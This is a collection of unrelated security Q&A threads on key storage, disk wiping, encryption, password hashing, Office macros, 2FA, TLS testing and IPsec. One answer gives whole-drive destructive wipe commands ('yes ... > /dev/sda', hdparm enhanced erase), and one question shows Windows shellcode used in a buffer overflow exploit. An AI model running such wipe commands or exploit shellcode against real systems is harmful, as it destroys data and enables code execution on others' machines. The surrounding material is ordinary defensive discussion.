Best practices for Private Key management How should I go about handling my RSA Private Key for my high-security Rails web application?

This may seem like a "soft" question, not related to cryptography per-se, but is nevertheless very important. What management procedures and general development security tenets should I be following? What are the definitive resources detailing how to prevent not only the technological side of hacking, but also the inevitable failures in human resources and plain old theft?

Up until now I have been generating RSA keypairs on my local MAC machine, placing them in an applications' /secret folder, committing them to private git repos and then deploying to server.
While no incidents (yet) have occurred, I can see that there are two main security concerns - access to Git repos either via hacking my account or Git backend or theft/access to my machine.
In regards to these two, I can only increase the strength of my Git and machine passwords, increasing the physical security of the offices is another possibility.

Thinking back to first principles of security, I have been considering generating keypairs for an application on the secured application server (access on a custom port using public keys only) and never committing them to a repository of any kind, however there are cases when the private key is needed even in development, so I would scp the key from the server onto my local machine, exposing my application once again to physical security risks.

Am I overthinking this? What am I missing?

key management for (highly sensitive) private keys is usually achieved by storing them within hardware crypto modules (also referred to as HSMs).
there are varying levels of hardware crypto modules, which are usually rated in line with the FIPS 140-2 standard

The hardware resides either on the machine (e.g. PCI card), or on the network (also known as a network-based HSM).

Where it starts to get tricky is if the application is virtualised, or where you need to start to share the key between many hosts (e.g. 16 web servers that all use the same certificate).

For HTTPS scenarios:
As a scale-out option i've seen a lot of people go to load-balancers, and use them to terminate the initial connection from client's browsers. Some load balancers have an option of storing the key onboard in hardware. From there, you have an option of initiating another connection to your web server (that sits behind the load balancer), or going cleartext, since the traffic is now on a semi-protected(?) network.


How to secure erase files and folders? How to securely erase/delete files or folders in different file systems (NTFS, ext3, ext4) ? Need to delete files so it will be impossible to recover that files and no traces of metadata and traces in journaling systems remains.
How should I do that ? How many passes for overwriting I should use for SSD and how many for HDD ?
OS: Linux distributive

This question leads me to believe that you're slightly confused about how data is stored on the drives itself, so I'll start by touching upon that first.

Filesystem type: ext3, NTFS etc. are nothing but types of file systems. The type of filesystem used (in most cases) has zero impact on your ability to securely wipe the drive since in any secure wipe, it'll be nuked.

As you probably know, just hitting the delete key doesn't really wipe the space on the disk clean. It simply marks the area of the disk as 'empty' and allows new data to be written to the area. Think of it as cubicles:

|  Joe  |  James  |       | Amy |

You can see the empty cubicle between James and Amy. That is untouched space. Now let's say that James is fired. So he clears out his cubicle and leaves - but the space he used is just empty - and not untouched. This is an important distinction:

|  Joe  |  *empty*  |       | Amy |

Why? That's because when a new employee joins (drawing parallels between new data being written to the disk here), the new employee can be given either a fresh cabin (to the left of Amy) or a used, but empty cabin (James' old room).

This leads to a important observation - although there's no one in James' old cubicle at the present, there's a chance that the new employee might find something that James' left behind - similar to what a data forensics program looks for.

Now we come to the next part of the question:

  How to securely erase/delete files or folders in different file systems (NTFS, ext3, ext4)?

Since we've figured out that the filesystem type is irrelevant, the only real consideration here is how. Data destruction programs that seek to wipe the entire hard drive work on the principle that - if all the hard drive space looks the same, it would be very, very hard to identify what was present on it earlier. Data on HDDs is stored as 1s and 0s. So some types of wiping programs, go over the entire disk with 0s, writing 0s to every sector. This is commonly called zero'ing out a drive. Here's how it might look before zero'ing:

|10101100|00110000|11001010|10101010|

And after:

|00000000|00000000|00000000|00000000|

At this stage, unless you've really got yourself into a real mess, most people might just give up. If you're being chased by a three-letter agency on the other hand might bring out their electron microscopes to figure out how the bits were aligned before you overwrote them with zeros.

So a new wiping methodology was introduced.

It involved zero;ing, writing random data and then zero'ing again, repeated several times. Each iteration was called a pass. There were several techniques that used different passes to render data unrecoverable, but I'd say that for any sort of sale to a citizen, more than 7 passes would be overkill (and probably would ruin the disk's life anyway)

As John says in his answer here:

  The only NIST approved method to securely erase a hard drive is by utilizing the secure erase internal command - documented at the Center for Magnetic Recording Research (CMRR) - and that is what everyone should be doing. It is an ATA command, and covers (S)ATA interfaces.

After that, you can optionally degauss the drive to erase the firmware itself.

SSDs:

SSD erasure is trickier because of how the data is stored on flash chips instead of magnetic disks. This answer answers the best ways to erase an SSD securely:

  ATA Security Erase

The only way to securely erase an SSD is to use the ATA Security Erase feature, present on all ATA6-compliant drives (i.e. virtually all modern ones). Attempting to overwrite data on an SSD will not actually remove everything due to overprovisioning space mentioned above. Unfortunately, because of this overprovisioning space, you cannot actually read everything which is present on the drive, as this space is always hidden, so you cannot verify if you have overwritten everything.

ATA Security Erase is designed to solve this problem by doing a low-level overwrite of every single sector. On some newer SSDs, an additional feature calld ATA Enhanced Security Erase can be used to destroy a master key which the drive uses to transparently encrypt and decrypt your data. Destroying the key is instantaneous, but renders all the encrypted content inaccessible.

And the commands on *nix:

# it must say "not locked", "not frozen", and "supported: enhanced erase"
hdparm -I /dev/sda | grep -A8 "^Security:"

# overwrite the drive with a repeating pattern to check for after
yes "You should not see me" > /dev/sda

# begin the erasure, without using a password
hdparm --security-set-pass NULL /dev/sda
hdparm --security-erase-enhanced NULL /dev/sda

# check if the repeating pattern is anywhere to be found
strings /dev/sda | grep "You should not see me"

I hope this helps!


Help! What is this remote takeover / malware from a pop up, and what does it do? I was recently on yts.pe a torrent distribution site. When I clicked on a torrent, there was a pop up, which Chrome totally didn't block, even though it is set to block all pop-ups.

Here are the details of the site:

I don't believe any files were downloaded, except a certain chrome plugin. But, it does not show up in my plug-in list, a malware bytes scan reports everything as clean.

What happened was as follows:
Link opens in another window. Chrome goes crazy. Other applications unaffected. Just Chrome. The browser acted possessed. Which causes me to suspect a remote take over.

No Viruses have been picked up by Avast.

A full OS re-install and re-fresh is in order right now,
Does anyone have any advice?

EDIT: To clarify why this question is not a duplicate, The question is regarding this particular site and the way chrome has acted. This is not a question regarding removing the malware. The question is what is this malware? What does it do? What did I just experience?

Edit2: My cursor was taken over in addition to the browser misbehaving.

There is a setting in Chrome to block popups but this does not mean that all popups are blocked. There is actually a valid use for popups for example to notify users that they have entered invalid information or similar. Disabling all popups would thus render some innocent sites unusable. That's why browsers employ heuristics to decide when a popup gets shown and when it gets blocked. A common part of such heuristics is that popups as a result of user interaction are allowed, i.e. if the user entered some information or clicked a checkbox or similar.

In your case the popup was shown after you've clicked on the torrent, i.e. after you've explicitly interacted with the site. Therefore the popup was probably considered valid by the heuristics and shown.

But it might also be that it wasn't actually a real popup at all what you saw. There are various ways to render information which might look like a popup but are not. For example one could create a HTML div section with a negative z-index  and an absolute position which will thus overlay the existing site and look like a popup. See here for an example.


OpenSSL 1.1.1d - how does it compare to BoringSSL now? There are plenty of comparisons, but most of them are for older versions of OpenSSL. Apparently OpenSSL fixed a lot of infamous vulnerabilities, and cleaned up the code and the build process.
As of today (OpenSSL 1.1.1d), how does OpenSSL compare to BoringSSL? Would you move from BoringSSL to OpenSSL?

According to Google's own source code repository, BoringSSL is not intended for general use and the programming interface is not stable. They are, however, using it for both Android and the Chrome browser. I personally would not use it in my own products because the interfaces are not stable. Cloudflare seems to be using it, but they have more resources to dedicate to updating to new APIs when BoringSSL updates than I do.


Remedy for not having filled the disk with random data? Filling a large HDD with /dev/urandom prior to encryption can be extremely slow (even with netcat, multiple instances in parallel, etc) and for this reason I'm sure a lot of users skip this advice even if it is recommended practice and unsafe to omit.

My question is: Assume a user has omitted this step of filling the disk with /dev/urandom, or only done it partially. Are there any steps that can be taken after the HDD has been encrypted to make it harder to perform cryptanalysis on the disk?

I'm assuming the best case scenario for the attacker would be if the user filled the entire disk with /dev/zero and then encrypted it? Would it then help if the user filled the entire disk (after having encrypted it) by writing /dev/zero to some arbitrary file in the file system, then deleted the file to recover the 'used' space? Wouldn't this remove any stray null bytes on the device and replace everything with just encrypted data?

So in the more realistic case, would it help to fill the disk with data after it has been encrypted? If not, why not? Imagine the disk has actually been filled to the maximum capacity after it has encrypted, what value does then the prior filling with random data before encryption hold? All that /dev/urandom data has been overwritten anyway, so what value does that operation hold at that stage?

If needed assume the system is: x86-64 GNU/Linux with LUKS, 256 bit AES, mechanical HDD (does this change with SSD? Please include why, as that would be interesting).

Attack scenario: The HDD is stolen and obtained removed from the computer by the attacker, preventing attacks such as evil maid and cold boot attacks.

The only information an attacker should be able to extract from an encrypted disk that hasn't had a full random overwrite is an upper bound on the amount of encrypted information on the disk.

To put it another way, a good disk encryption solution shouldn't be relying on an attacker's inability to determine the bounds of the encrypted partition for any security properties.

I agree that filling the disk with data after encryption should yield the result you expect (provided the encrypted partition can dynamically expand to fill the whole disk): all of the data on the disk should now appear to be random (minus partition table etc depending on the solution).


Should I keep scrypt/bcrypt parameters secret? The RFC does not specify, but I think if these values were available, they may help the attacker.

For example, for scrypt, if the block size parameter r, the CPU/Memory cost parameter N, and the parallelization parameter p values are available, the attack will know which values to use when bruteforcing.

Any idea?

I would say that the cost parameters counts as "implementation details" and relying on them beeing hidden would therefore be security through obscurity.

Actively keeping them secret would be like using them as some kind of low entropy pepper. Not entierly useless, but almost. Plus, if an attacker manage to crack one password she will know the correct factors. So just try password1 with some different factors on all passwords, and you are done. If you want an additional secret to protect the passwords, just use an ordinary pepper or encrypt the hashes. Those are solutions actually intended to solve this problem.

That does not mean that you need to disclose them to all the world unless you have reason to. Sure, if you want to tell someone to brag about how secure your system is, go right ahead. But I would not put it on my webpage, especially if they were low since that could encourage attackers. (On the other hand, saying "we use bcrypt" is sort of like putting up an "beware of the dog" sign on your fence.)

Most people use one of a few sets of cost factors. I would encourage you to pick cost factors based on what is good for your system, and not what is hard to guess.

Do note that the cost factor is right there in the hash, so you would need to actively cut it from the string to implement this. But I would not bother.

Somewhat related question: Can I share what password hash function I used in a public report?


Why aren't Microsoft Office macros sandboxed? For about 20+ years now, Microsoft Office macros have been used to spread malware. Even in recent years those threats have not disappeared and they often resurface in one form or another e.g. World’s most destructive botnet returns with stolen passwords and email in tow and It’s 2016, so why is the world still falling for Office macro malware?. Over the years the only significant change Microsoft did was to make the macros not run by default, which just prompts the criminals to engage in some clever social engineering to make the user press the enable button. As far as I am aware, these macros are working as intended and are not exploits (check second article), because they are designed to be able to run unsandboxed arbitrary code. It's virtually impossible to run these macros in a safe environment, and MS Office makes no distinction between a macro that performs some simple automation that affects only the document itself and the ones that call some dangerous shell command that have impact in the whole OS (e.g. file system access). This answer makes it clear how painfully it is to run a macro safely.
Let's compare this approach with how Chrome works. Chrome's daily job is to run untrusted code by using a very elaborated way of sandboxing that makes sure merely visiting a web page is safe. Unlike MS Word, someone using Chrome can visit a website that has never visited before and it will gladly run all kinds of JS code on the page without ever prompting the user for permission i.e. no "enable content" button. This is because JS has very little power outside of the website that is being rendered. To make code that escapes this sandbox means to burn a precious zero-day exploit. Google pays good money for these exploits and it usually means issuing an emergency version with a fix.
For me both programs have more or less the same threat model: users will often open documents from unknown sources as they will often open web pages that they have never visited before. Yet what is a we-must-issue-a-patch-now situation for Chrome is just normal business for Microsoft Office applications. In the 20+ years that these macros have been raging on as an effective malware entrypoint, why didn't Microsoft update the threat model and put efforts into sandboxing these macros so they can only affect their own document? Why isn't there a way to run macros safely in the same way Chrome and other browsers run arbitrary untrusted code?

Microsoft Office macros are a design of the past. Do note that they were designed back in the days when a userland program could overwrite memory of another application (or even the kernel!), boundaries were not checked when processing network packets, etc.
It is also similar to the ActiveX web page additions that were created by Microsoft. Rather than running inside a sandbox, like java applets, they directly ran unconfined code (in the same memory space as the browser, I guess), with full access to the system. The security they got added was one of signed with a code certificate, do you trust this company?.
I think it is fair to say that security was never part of the macro design. The macro language (VBA) relies heavily on the program OLE interfaces and existing Visual Basic / VBScript engine.
You could design a sandboxed interface for Office macros. You would basically remove dangerous primitives (such as Shell) and disallow importing of foreign objects. Most macros (affecting only its own document) would still work. Macros using complex actions (such as accessing an url, or opening a Word document from Excel) would fail. Some "internal" would also need to be reviewed and filtered somehow (such as "Saving the current document with a given name" or modifying other opened documents).
Blocking all macros is a more simple approach than redesigning their macro system. It also avoids breaking documents with macros designed before the sandbox addition that were not able to be run. Microsoft could add a flag for "this is a macro with no external effects", so that they could opt-in to "safe execution", thus keeping backwards compatibility.
It would be a feature interesting to have, so that some macros could be allowed in the environment, without risking the whole system (I'm sure we would then see exploits and buffer overflows in those "safe macros" being abused, but those would be bugs). Although that wouldn't fully solve the problem: the social engineering would continue to "enable insecure macros". It would help administrators block macros, without such a big pushback for "we need documents with macros, which are business-critical".
Apparently, Microsoft hasn't deemed that use case profitable enough to the effort of developing a "sandboxed macros" feature.


Is using "HTTPS everywhere" extension secure? I would like to know if one should use 'HTTPS everywhere' extension? Is it secure to use it? Are there any better alternatives?

  HTTPS Everywhere is a Firefox and Chrome extension that encrypts your
  communications with many major websites, making your browsing more
  secure. Encrypt the web: Install HTTPS Everywhere today.

EFF is a highly respected organization dedicated to protecting privacy in electronic communications. It would be against their interests to jeopardize people's privacy through their products.


When viewing my website from port 3306, I see some weird MySQL info If I visit my web URL and force port 3306 (MySQL), I see a suspicious looking web page:

Is this exposing any vulnerabilities for me? Should I block port 3306?

I see two options here:

Local Access Only

Configure MySQL Server to only listen on TCP port 3306 on 127.0.0.1 (localhost). This way an internal web server can still communicate with the database server.

Directly connecting to the database is server is no longer available but can be solved by SSH tunneling (as described in mk444's answer)

This can be achieved by editing the my.cnf file. Search for "listen", most likely it is set to something like:

  listen 0.0.0.0:3306

This should be changed to:

  listen 127.0.0.1:3306

Don't forget to restart the MySQL server before changes take effect.

Restricted Remote Access

Another option is to keep the configuration the way it is and use iptables to block all incoming connections to TCP port 3306 with the exception of your (home) IP address.

Both options will work, however, from  experience I know that often iptables-persistent is not used. Meaning that if you web / database server reboots the iptables rule set gets lost and TCP port 3306 is widely open for the outside world again.


Are SSH packets encrypted even before new keys are sent? What format does SSH use to exchange (encrypted / plain) packets before new keys are derived? SSH Document says that after key exchange, client and server use negotiated algorithm to encrypt the packet. If they are encrypted even before key exchange then which key is used to encrypt the packet.

In SSH 2, key exchange is done using the Diffie-Hellman key exchange. It is best described on the Wikipedia page (the link). Also on the Wikipedia page are a lot of links to documentation (RFCs) containing nitty gritty details. Wikipedia or Google is probably best to find out more about Diffie-Hellman.

As a cool experiment you can download Wireshark and try recording an SSH session, to see how it works:

This is a Wireshark capture of (some of) an SSH-2 session. It is not a full picture, but shows the key exchange. Subsequent packets are encrypted directly after.

SSH can be done with Putty

And to be clear: the key exchange is not encrypted, but it is done in a very clever way, invented by two hippies in the 70's.


Users can change their password with the same password What are the security implications of an web application that allows users to change their passwords with the current (exactly the same) password?

I don't believe there are risks involved depending on the implementation. In the comments you pointed out the case is that a breach has occurred and the user was notified to change their password. In this specific case, depending on the complexity and length of the password in combination with the hash (and salt/pepper), the password might be cracked and a malicious user could login using the new same credentials which is a severe risk.

As I pointed out, it depends on the implementation. For example, if you use a one time password (like Wordpress) and an user can change the password to the same password, a malicious user might get access to the email account at some point in the future and find the one time password. Because the user now uses the same password permanently, a malicious user can now login.

To be fair, this is low risk and depending on the account, the implications could also be low so there is no real risk unless the password was leaked like you said in your comments.


In buffer overflow exploit, 0x20 (space character) not appearing in memory and is replaced by null The situation:
I'm currently working on shellcode (I modified the assembly code from Project Shellcode) that runs "cmd.exe /c calc.exe". The shellcode itself works fine. However, when I use the shellcode during a buffer overflow exploit, the 0x20 (space character) byte in the string gets replaced with a null byte. I'm unable to find a good explanation for why this is happening. The following is the assembly code:

;Calls calc.exe. Modified from http://projectshellcode.com/node/20
[SECTION .text]

BITS 32

global _start

_start:

jmp short GetCommand

CommandReturn:
   pop ebx              ;ebx now points to the string
   xor eax,eax          ;clear eax
   push eax             ;push null onto stack
   push ebx             ;push command string onto stack
   mov ebx,0x7c86114d   ;place winExec address into ebx
   call ebx             ;call WinExec({cmd},0)

xor eax,eax          ;remove return value of WinExec
   push eax             ;push null onto stack as parameter value
   mov ebx, 0x7c81caa2  ;place ExitProcess address into ebx
   call ebx             ;call ExitProcess(0)

GetCommand:
   call CommandReturn
   db 'cmd.exe /c calc',0 ;space character is replaced by null.

What I know so far:

I know that I don't have a space issue, because I have placed a longer string without any spaces, and it still shows in memory.
I know that the shellcode works because I've tested it by placing it directly into a buffer and calling the buffer like a function call in C.

The following is what I see in Immunity's top left window:

Addresses 0012FFB3-0012FFCB is the shellcode
Before that is my NOP slide.
Beginning at address 0012FFD0 is supposed to be "cmd.exe /c calc.exe", but it is only "cmd.exe", I see at address 0012FFEB that there is a null instead of 0x20 there at the end.

Oh my - I know why this is happening: It is because in my test vulnerable application, I'm using fscanf to read in the malicious input string from a file, and this space in the hex string will get cut off by fscanf.

According to (http://www.cplusplus.com/reference/cstdio/fscanf/): "the function will read and ignore any whitespace characters encountered before the next non-whitespace character (whitespace characters include spaces, newline and tab characters -- see isspace)."

Note: I'm only reading the stream once in the vulnerable test application.


How can the NSA remotely turn on your iPhone? If the iPhone is actually off and not in sleep mode, how can it be remotely turned on if no software is running and network communications aren't even activated until the device boots?

You make some wrong assumptions : "how can it be remotely turned on if no software is running and network communications aren't even activated until the device boots".

There are two computers in your average smartphone, the one that you more or less control, running e.g iOS or Android, and a second one, the Baseband Processor, handling radio communication with the carrier network. It has its own processor, its own memory, its own operating system and what its exact capabilities are is usually a trade secret. You have no reason to think it is actually off if it actually has access to a DC source, in this age of non removable batteries it should be at all time unless the battery is completely drained. Presumably the NSA got a good relationship with the american makers of such chips (e.g. Qualcomm), with the expected consequences, but they will deny it vehemently. They also possibly planted or found exploit for many chips whose maker are less susceptible to direct influence (e.g. Korean and Chinese ones). Your cellphone (well, the part that you control) is never talking directly to the carrier network, it talks to its baseband processor.

There have been some attempts to reverse engineer some chips, see e.g. Reverse engineering a Qualcomm baseband but you are unlikely to find an obvious backdoor here, more likely a subtle, well hidden vulnerability waiting to be exploited but being plausibly deniable.

WTS, Faraday cage, good price.


I found what, I believe, is a backdoor in my home router, what should I do? My country doesn't have any laws regarding this subject (Brazil). And I don't want to disclose it to the police, it's more likely they will just keep it to themselves. What should I do?

In your circumstances the simple guidance I would give is:

Do not use the router, get rid of it and buy a new one. You can check it to see if it has the same problem.

In reality, confirming backdoors can be problematic, and even if you reflashed firmware, there could be others, assuming you have been targeted.

Edit: as @Polynomial comments - in terms of disclosure, the vendor might be a better bet than the police, and if they aren't interested, Full Disclosure is an option.


How to store encrypted user's data on a server, decrypt only on the client, and store the key elsewhere? Here's what I would like to do: have a client side that generates and processes the user's data, then encrypts it and stores in a database - in order to later retrieve, decrypt and process the data further.

The server would authorize the user somehow and then let them save and retrieve their data. Ideally, the server should know nothing about the encryption/decryption keys.

Now if the user loses their keys (e.g. local disk crashed), I'd like them to be able to retrieve those keys from some secure place, ideally authorised by the same account as the server database, but not stored at the same server.

How would you approach this scheme and what services exist that would allow me to do this?

I cannot encourage your idea of an online backup of the decryption key. As soon as the decryption key leaves the devices controlled by the data owners (the users) the whole effort of client-side-encryption becomes worthless.

A secure place for a decryption key can only be defined by the data owners since only they know the value of the encrypted data. You could offer a key export functionality, give some useful hints and leave it to the users where they will store the keys.


Why do popular two factor authenticators use shared keys Please correct me if I'm wrong anywhere, but from what I understand , popular mobile phone based two factor authenticators like Google Authenticator implements TOTP which uses a shared secret key that is shared between the phone and the authenticating server.

Why did they decide to use a single shared secret key when they could have used a public/private key pair? The phone would store the private key and can sign an increment counter/timestamp and the authenticating server could verify the signature with the public key.  It seems more secure since a breach in the authenticating server wouldn't be able to compromise the user's secret key? Is there any advantages that a shared secret key provides?

The currently known methods of using "a public/private key pair" require too much communication; i.e.,

both ends would need Bluetooth or the token would need a computer-screen-reader or the process

could get tedious.  "a shared secret key" minimizes the amount of communication that is required.


This website claims that password + cookie counts as 2FA I login to a website and provide a UserID, Password and one-time PIN delivered via EMail or SMS. I also select the "Register Device" check box to register my desktop.

On a subsequent login, I only have to provide my UserID and Password. Presumably, a cookie created during device registration is sent to the site as well.

My question is, is the second login considered MFA (Password + registration cookie), or does the cookie suspend MFA for some time and the second and subsequent logins are NOT MFA? Does it depend on the content of the cookie or the server-side implementation?

The web site is arguing that the second login is MFA as the device registration cookie constitutes an authentication factor, but it doesn't feel right to me.

Your question is really more about definitions than about the actual real security of the system. So let's define some terms before getting to your question:

As I learned it, there are three broad categories of authenticators:

Knowledge (something they know) - passwords and other secrets
Possession (something they have) - access to an email account to retrieve the one-time PIN
Inherence (something they are) - usually biometrics like facial recognition, finegerprint or iris scan

Borrowing from the tag wiki for multi-factor (which I wrote):

  If you are required to provide a proof of identity from more than one of the above categories, then it is properly "Two Factor Authentication", or "Multi-Factor Authentication". If you are providing multiple items from the same category, then it's called "Multi-Step Authentication", which is obviously weaker than multi-factor.

Wikipedia seems to agree with this definition.

Cool. So as for your website,

  I login to a website and provide a UserID, Password and one-time PIN delivered via EMail or SMS.

Password = Knowledge
Email/SMS = Possession.

==> Pass! This is MFA.

  My question is, is the second login considered MFA (Password + registration cookie)?

Password = Knowledge
Cookie = Knowledge (of the text)? Possession (of the device)? Uncertain.

==> Questionable.

Arguments for "yes": if the cookie is implemented properly, then it counts as possession of the device.

Arguments for "no": possession-type factors really ought to be immune to record&replay attacks; with any kind of one-time codes - hardware tokens, apps, email, SMS, etc - the server won't let you use the same code twice. Same with crypto USB sticks / cards you need to insert into your laptop. In this case, someone intercepting your traffic to the website will snatch both your password and cookie in the same packet and then be able to log in as you somewhere else.

That said, it does protect your account against, for example, their password database getting stolen, or you re-using a password of yours from a different site that shows up in a leaked passwords database. Questionable.

On a technicality it probably is 2FA / MFA, and offers more security than either password or cookie by itself, but less than continuing to do the Email / SMS thing.


How can I verify that SSLv3 protocol is disabled? I'm trying to disable SSLv3 in ejabberd 2.1.10 on Ubuntu 12.04. There is no way to disable it in config file, so I have to patch the source and rebuild the package: https://github.com/processone/ejabberd/issues/113

The problem is after patching and installed, how can I verify that SSLv3 protocol is disabled? It is a private server, so I can't use https://xmpp.net/.

I know we can use openssl with -ssl3 option, something like this:

openssl s_client -connect chat.local:5222 -starttls xmpp -ssl3

but the thing is: I cannot disable SSLv3 cipher suites: https://github.com/processone/ejabberd/issues/113#issuecomment-29279707:

  Please note that while you can disable SSL version 3, you cannot disable "SSLv3 cipher suites" as there is no such thing, all SSLv3 cipher suites are used also by all TLS versions (TLS 1.1/1.2 just adds some new ones).

so the above command still shows the result:

New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv3
    Cipher    : AES256-SHA
    Session-ID:
    Session-ID-ctx:
    Master-Key: D1D474B68F6C4F59ED5E96963F94FAF078A0C5531A7841B1E0E34257925309A96EA2F25F59F65CCD151F05EB75BC935C
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1414072098
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)

Two questions:

how can a online ssl checker (https://www.ssllabs.com/ssltest/, https://xmpp.net/, ...) can test if SSLv3 protocol is disabled or not?
Is there any risk if SSLv3 protocol is disabled, but SSLv3 cipher suites enabled for some reasons (for e.g OpenSSL on Ubuntu 12.04 disabled TLSv1.2, we have to enable SSLv3 cipher suites to make some monitoring tool worked)?

SSL-Session:
   Protocol  : SSLv3
   Cipher    : AES256-SHA

Obviously your server still has SSLv3 enabled.
If you successfully disabled SSLv3 openssl s_client -ssl3 -connect ... should get something like this:

...SSL3_READ_BYTES:sslv3 alert handshake failure:s3_pkt.c:1260:SSL alert number 40
...SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:596:
...
Protocol  : SSLv3
Cipher    : 0000

The indicator here is that you get no cipher ("0000").

As for the ciphers itself you don't need to make any changes.


Is there a way to attack STARTTLS + certificate pinning probed from multiple places? I just had this discussion on IRC and I have to admit I did not understand why other users were not convinced this would be enough... Let's say I would like to protect e-mails sent out from my mailserver, even at the cost of being incompatible with servers not supporting STARTTLS. By "protect" I mean maintaining their confidentiality and integrity while assuming that the adversary can perform active attacks on the majority of Internet (but would prefer to stay undetected).

The solution I thought of is the following: configure your mail server so that when an outgoing e-mail is sent, I enforce STARTTLS and use e.g. Tor to connect through multiple different countries in order to verify the certificate I would pin in the next session. If the certificate does not match, the e-mail doesn't get sent.

I understand the main problems with the solution vs PGP - it's not visible to the user, it doesn't work across ends and it breaks compatibility. But assuming that this was actually used on the whole Internet, would it be possible to pull attack against this scheme?

What attacks do you want to prevent? If a malicious system administrator (or anybody/any agency forcing him to be one) is contained in the list, you're out of luck without end-to-end encryption, no matter what fancy validation schemes you apply.

Regarding your approach: as I understand, it is absed on the idea that nobody will be able to control different routes from different countries (out of different Tor exit nodes) to the other mail server. This is not necessary for an attacker -- he only needs to be in control of the other mail server's uplink to be man in the middle to all those verifications at once.


Why is Stack Overflow not using HTTPS for all its pages? Most webpages from Stack Overflow use http even if you are logged in.

Isn't it a security issue?

Could an eavesdropper steal my session and authentication cookie then impersonate me since it's sent over http?

Edit

I found this great post by Troy Hunt that explains the security of Stack Overflow.

To answer your questions in order:

1) Mixed content.  The typical StackExchange page combines content from a number of sources (ad servers, imgur, gravatar, etc.), and not all of these support HTTPS yet.  Browsers react in varying ways to pages that contain a mix of HTTP and HTTPS content, but the most common is to refuse to load the insecure content, leaving you with a broken page.

2) Yes, it's a security issue.  It's not as much of one as it could be, though, since the login pages use SSL.

3) Maybe.  It depends on if StackExchange is using session fixation techniques to prevent session stealing or not.


Is it possible for IMSI-Catchers to block emergency calls? The Wikipedia article about emergency numbers mentions that Most GSM mobile phones can dial emergency numbers even when the phone keyboard is locked, the phone is without a SIM card, emergency number is entered instead of the PIN or there is not a network signal (busy network).

Is there anything that makes a regular call different from an emergency call?

Is is possible for an IMSI-catcher/cell-site simulator to block emergency calls?

Is there anything that makes a regular call different from an emergency call?

Not physically, the signal works pretty much the same way as any other call. Phone manufacturers just add the ability to dial emergency numbers with locked phone (my Samsung allows me to add my own emergency numbers, eg. parents, so they can also be called from locked phone). Operators allow emergency calls without SIM (read without payment).

  Is is possible for an IMSI-catcher/cell-site simulator to block emergency calls?

An active simulator can block them. Some were even accused of doing so by accident. It works very similarly to a jamming device. Passive devices will not prevent any types of calls.


Keeping the password secret over regular http I would like to at first be clear that this is for poor site owners who can't afford the SSL option but require logins to their site, potentially from a public kiosk, and need a secure method of allowing such. All I'm looking for is a public vetting of the process I have drawn up, if there are any attacks I may have missed that this process allows, and any foreseeable road bumps that it may introduce.

The process for signing up is thus:

User arrives at page, and login form is populated with the server's public key, and a nonce.
User enters password into form (and other identifying details). Password and nonce are combined and pushed through a key-derivation function
Using derived private key and server pubic key, encrypt password and send back ad-hoc client public key and encrypted password (and requisite identifying details).
Using client public key and server private key, decrypt password, generate salt, shove both through slow hash and store result.

The process for logging in would then be:

user arrives, receiving nonce and server's public key.
user enters username/password combo. Like before, nonce and password generate key pair
encrypt password with server public key, and generated private key, delete private, then send over client public, encrypted password, and username
server side, decrypt with server private and client public, grab salt corresponding to username, slow hash salted password, verify against database and continue login if all is well.

My main worry is that the use of the password to generate they key pair introduces a vulnerability in that if the ad-hoc public key sent over the wire can be used to reverse engineer into the nonce/password combination that generated they key pair, or even worse be used to somehow create the private key to decrypt the password if the derivation function is not strong enough. Are these legitimate concerns, and should this option even be on the table?

In short: Just go to startssl.com and get your SSL certificate for free.

The protocol is not specific enough. If you aim to implement this yourself, you will likely introduce flaws in the signing and encryption steps. How are users going to validate the server's public key here? Do you expect them to compare hex-digits?

You also seem to assume that clients and servers can do custom computation steps, which is not typically the case on the Internet terminals you target. You may consider using the Secure Remote Passwort Protocol (SRP) in this case: trustedhttp.org


strongswan setup for ipsec environment I have created two virtualbox ubuntu clones for the purpose of setting up a test strongswan ipsec network; I'm trying to follow this guide. The virtualbox machines are on a bridged adapter and i verify that they can connect by pinging to the ip of each other, which suceeds

Basically i've created a net-net configuration as described in the documentation, On left machine, i replace right in ipsec.conf with the ip shown when running ifconfig on right machine and viceversa on right.

(As a brief side-comment, i want to use a private secret shared by safe channels, i presume that this implies a symmetric key encryption scheme, since anything regarding a public key would be somewhat less secure, and to be clear enough, this is an issue for countries where governments will tap all your connections, so MITM is a real problem. So if my understanding is wrong, please feel free to clarify)

back to the technical problem, in moon, i created a /etc/ipsec.d/moonKey.pem file that contains a secret string
and then in /etc/ipsec.secrets:

: RSA moonKey.pem

with no passphrase, since the string in moonKey.pem is in cleartext

Similarly, in sun i've created a /etc/ipsec.d/sunKey.pem file that contains the same secret string as in moon. *I am assuming that these will be the PSK

I then run sudo ipsec restart and i don't get errors, but pinging the whole 10.2.0.0 subnet from moon i don't get any response, and similarly from sun, so it seems the setup didn't suceed

any ideas what i might be doing wrong? or how to debug this issue?

btw, i wanted to create these tags but i don't have enough rep yet:

strongswan private-shared-key ubuntu-10.10

The setup described in the document you cite is suitable for certificate-based authentication. The RSA tag in ipsec.secrets means exactly that the file moonKey.pem contains the RSA private key.

What you need to do to use Pre-Shared Keys (PSK):

in your ipsec.secrets you need a line with the PSK tag followed by the secret itself among quotes. Like this:
192.168.0.1 %any : PSK "v+NkxY9LLZvwj4qCC2o/gGrWDF2d21jL"
since you are not using certificates you need to drop the leftcert and rightid lines from ipsec.conf.
in ipsec.conf add the line authby=secret just below the conn statement to specify the PSK authentication mechanism.
you do not need any .pem files.

I cannot test these modifications right now, so perhaps I miss something.

As a side note, public-key cryptography is not inferior to symmetric key cryptography. If used correctly, they are both secure.


Could HTTPS-Attacks like CRIME be mitigated by changing the session cookie regularly? I was just reading about CRIME which is an attack to steal sensitive information by creating requests. Could this attack be mitigated, if the Server wouldn't send the client the actual session key to save in a cookie, but a random generated string, which maps to the session key? On each request (or every 100 requests) this random string is generated anew, so the client will have an ever-changing secret in his cookie.

This would make any attacks which require many requests which contain the same secret very difficult and would also provide the benefit that each of the random strings is only valid for a very short time...

Are there any obvious downsides to this approach? Or anything which wouldn't actually make it safer than today methods ?

In the case of CRIME, the attack is on the client. Hostile Javascript in the client triggers requests to the server, that the attacker observes from the outside; and (that's the important point here) the attacker can block the outgoing request. The attacker needs to see the encrypted records, but not necessarily to let them go all the way to the server.

